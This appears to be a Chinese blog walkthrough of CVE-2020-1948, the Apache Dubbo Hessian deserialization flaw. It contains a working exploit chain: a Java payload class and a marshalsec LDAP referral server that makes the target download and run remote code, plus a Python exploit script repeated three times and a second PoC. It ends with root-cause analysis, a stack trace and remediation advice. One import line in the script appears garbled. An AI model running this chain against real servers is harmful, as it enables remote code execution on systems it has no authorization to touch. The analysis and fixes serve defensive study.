Dubbo-CVE-2020-1948

news2024/11/20 7:16:41

APache Dubbo简介

Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东西,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSDL,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:

  • 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。
  • 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
  • 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释

async 异步
sync 同步
  • Provider :暴露服务方称为服务提供者
  • Consumer :调用远程服务方称为服务消费者
  • Rrgister:服务注册与发现的中心目录服务称之为服务注册中心
  • Monitor:统计服务的调用次数和 时间的日志服务称为服务监控中心
  • Container:服务运行容器

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper

环境复现

影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

  1. 编写java代码,进行简单的命令执行,这里以ping命令为例,用检测无回显的dnslog用于验证
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 编译java代码class文件

javac poc.java

最后得到class文件,这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因:下载的时候只执行了yum install java,导致不是完整的jdk

参考链接:https://www.cnblogs.com/sirdong/p/11987639.html

  1. 启动静态网站服务,apache,nginx都可以,这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80

  1. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址: https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接:https://www.cnblogs.com/afanti/p/11266087.html

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

LDAP:轻型目录访问协议 英文 Lightweight Directory Access Protocol )是一个开放的,中立的,工业标准的 应用协议 ,通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 英文 Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的 应用协议,通过 IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明
  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名
  1. 编写python的脚本exp.py

在此之前,需要安装模块

pip install dubbo-py
# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.') 
# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')
  1. 执行相应的py脚本

python exp.py 目标vps ldap://己方vps:777/exp

出现success的时候,说明成功

然后观察dnslog,也可以发现回显

同时我们可以留意一下相关的LDAP服务,当出现转发成功的时候,自然也是成功的

参考文章:Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客

原理研究

源码版本:dubbo v2.7.6

下载地址:https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee

下载后,将项目导入IDEA

我们开始分析一下现有的exp

poc1

# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

不难发现,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

堆栈利用链

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

  1. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
  2. 升级 2.7.7 版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
  3. 禁止将 Dubbo 服务端端口开放给公网,或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放
  4. Dubbo 协议默认采用 Hessian 作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章:

https://www.cnblogs.com/JingQ/p/13329083.html

https://www.cnblogs.com/zhengjim/p/13204194.html

https://www.cnblogs.com/zhengjim/p/13204194.html

Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065780.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

四.Docker容器技术

课程内容 DevOps和云原生Docker基础命令Docker安装软件Docker项目部署 一.DevOps和云原生 1.微服务的痛点 再来看一下我们的微服务架构 &#xff0c; 每个组件都需要服务器去部署&#xff0c;加起来可能需要几十个甚至上百个服务器。 这样的微服务项目在部署上会遇到什么问…

【重拾C语言】六、批量数据组织(一)数组(数组类型、声明与操作、多维数组;典例:杨辉三角、矩阵乘积、消去法)

目录 前言 六、批量数据组织——数组 6.1 成绩统计——数组类型 6.1.1 数组类型 6.1.2 数组声明与操作 6.1.3 成绩统计 6.2 统计多科成绩——多维数组 6.3 程序设计实例 6.3.1 杨辉三角形 6.3.2 矩阵乘积 6.3.3 消去法 6.4 线性表——分类与检索 前言 ChatGPT C语…

Unity 致社区公开信,调整 runtime fee 政策

导读面对此前制定的 "Funtime Fee" 收费政策所引发的用户争议与不满&#xff0c;Unity Create 负责人 Marc Whitten 正式发布了一封致社区的道歉公开信&#xff0c;并详细解释了其定价策略的变更。 我想以此开始&#xff1a;对不起。 在宣布新的 Runtime Fee 政策之…

【Spring内容进阶 | 第三篇】AOP进阶内容

前言&#xff1a; 在前面我们已经粗略的介绍了什么是AOP以及各种基础知识点&#xff0c;而本篇我们将聚焦于AOP的细节&#xff0c;详细的讲解一下AOP中的通知类型&#xff0c;通知顺序&#xff0c;切入点表达式以及连接点。通过对AOP的熟练掌握&#xff0c;我们可以快速编写出低…

【类加载子系统】

文章目录 1. 内存结构2. 类加载器与类的加载过程3. 类加载器分类4. 双亲委派机制 1. 内存结构 Class 文件类加载子系统运行时数据区 方法区堆程序计数器虚拟机栈本地方法栈 执行引擎本地方法接口本地方法库 2. 类加载器与类的加载过程 类加载器子系统负责从文件系统或者网络中加…

基于树种优化的BP神经网络(分类应用) - 附代码

基于树种优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码 文章目录 基于树种优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码1.鸢尾花iris数据介绍2.数据集整理3.树种优化BP神经网络3.1 BP神经网络参数设置3.2 树种算法应用 4.测试结果&#xff1a;5.M…

旅美经济学家向凌云在美获对冲基金之父威廉·雅克颁授美国文化奖

2023年9月22日,第三届LABA偶像奖(LABA ICON AWARDS )「美国文化奖」颁奖典礼在美国洛杉矶比佛利山庄四季酒店举办。美国本土、欧洲、亚洲都有众多艺术家、经济学家和各行业优秀人才积极参与其中。 对冲基金之父威廉雅克(William Jacques)向经济学家Dr. Lingyun Xiang 向凌云颁发…

【进程管理】认识系统调用函数fork

目录 前言 一.查看进程的pid 二.父子进程 三.查看进程的第二种方式 四.代码创建进程——fork 1.fork的功能 2.fork的返回值 3.fork代码的一般写法 五.对于fork的理解 1.fork干了些什么&#xff1f; 2.fork为什么给子进程返回0&#xff0c;给父进程返回子进程的pid&…

大数据与Hadoop入门理论

一、大数据的3种数据类型 1、结构化数据 可定义&#xff0c;有类型、格式、结构的强制约束 如&#xff1a;RDBMS&#xff08;关系型数据库管理系统&#xff09; 2、非结构化数据 没有规律没有数据约束可言&#xff0c;很复杂难以解析 如&#xff1a;文本文件&#xff0c;视…

第86步 时间序列建模实战:Transformer回归建模

基于WIN10的64位系统演示 一、写在前面 这一期&#xff0c;我们介绍Transformer回归。 同样&#xff0c;这里使用这个数据&#xff1a; 《PLoS One》2015年一篇题目为《Comparison of Two Hybrid Models for Forecasting the Incidence of Hemorrhagic Fever with Renal Sy…

Casdoor系统static任意文件读取漏洞

文章目录 Casdoor系统static任意文件读取漏洞复现0x01 前言0x02 漏洞描述0x03 影响平台0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 Casdoor系统static任意文件读取漏洞复现 0x01 前言 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由…

郁金香2021年游戏辅助技术中级班(七)

郁金香2021年游戏辅助技术中级班&#xff08;七&#xff09; 058-C,C写代码HOOK分析封包数据格式A059-C,C写代码HOOK分析封包数据格式B-detours劫持060-C,C写代码HOOK分析封包数据格式C-过滤和格式化061-C,C写代码HOOK分析封包数据格式D-写入配置文件062-C,C写代码HOOK分析封包…

容器运行elasticsearch安装ik分词非root权限安装报错问题

有些应用默认不允许root用户运行&#xff0c;来确保应用的安全性&#xff0c;这也会导致我们使用docker run后一些操作问题&#xff0c;用es安装ik分词器举例&#xff08;es版本8.9.0&#xff0c;analysis-ik版本8.9.0&#xff09; 1. 容器启动elasticsearch 如挂载方式&…

第二证券:A股“业绩底”已现?两大板块被看好

9月&#xff0c;A股商场经历了一段明显的缩量下跌&#xff0c;成交量持续萎缩&#xff0c;增量资金不足&#xff0c;商场“痛感”激烈。跟着国庆十一长假结束&#xff0c;2023年四季度正式敞开&#xff0c;大都分析人士和私募安排都认为&#xff0c;国内经济预期转好将为A股商场…

蓝桥杯每日一题2023.10.7

跑步锻炼 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 简单枚举&#xff0c;对于2的情况特判即可 #include<bits/stdc.h> using namespace std; int num, ans, flag; int m[13] {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; bool is_ren(int n) {if((n %…

3d渲染农场全面升级,好用的渲染平台值得了解

什么是渲染农场&#xff1f; 渲染农场是专门从事 3D 渲染的大型机器集合&#xff0c;称为渲染节点&#xff0c;这些机器组合在一起执行一项任务&#xff08;渲染 3D 帧和动画&#xff09;。通过将渲染工作分配给数百台机器&#xff0c;可以显着减少渲染时间&#xff0c;从而使…

STM32F030在使用内部参考电压 (VREFINT)时与STM32G070的区别

背景&#xff1a; 之前使用过STM32G070的内部参考电压来提升ADC采集的准确度&#xff08;STM32使用内部参考电压提高ADC采集准确度&#xff09;&#xff0c;所以本次使用STM32F030的芯片时直接把之前G070的代码拿过来用了&#xff0c;但是出现了问题。 查找资料发现两者不同&am…

go语言判断管道是否关闭的误区

前言 本文是探讨的是"在Go语言中&#xff0c;我们是否可以使用读取管道时的第二个返回值来判断管道是否关闭?" 样例 在Go语言中&#xff0c;我们是否可以使用读取管道时的第二个返回值来判断管道是否关闭? 可以看下面的代码 package mainimport "fmt"…

步进电机S曲线驱动模块

一、电路 带有CAN及485接收&#xff0c;三个光耦接口&#xff0c;TMC2660电机驱动芯片&#xff0c;stm32f103的主控芯片 二、协议 一般来说&#xff0c;板子之间的通信协议格式通常为&#xff1a; 内容 帧头 长度 类型1 类型2 Data 校验 帧尾 字节数 1 1 1 1 N 2 1 帧头为0xB…

二叉树--二叉树最大深度

文章前言&#xff1a;如果有小白同学还是对于二叉树不太清楚&#xff0c;作者推荐&#xff1a;二叉树的初步认识_加瓦不加班的博客-CSDN博客 二叉树最大深度-力扣 104 题 &#xff08;不知道“后序遍历”的小白同学&#xff0c;请先看&#xff1a;二叉树的初步认识_加瓦不加班…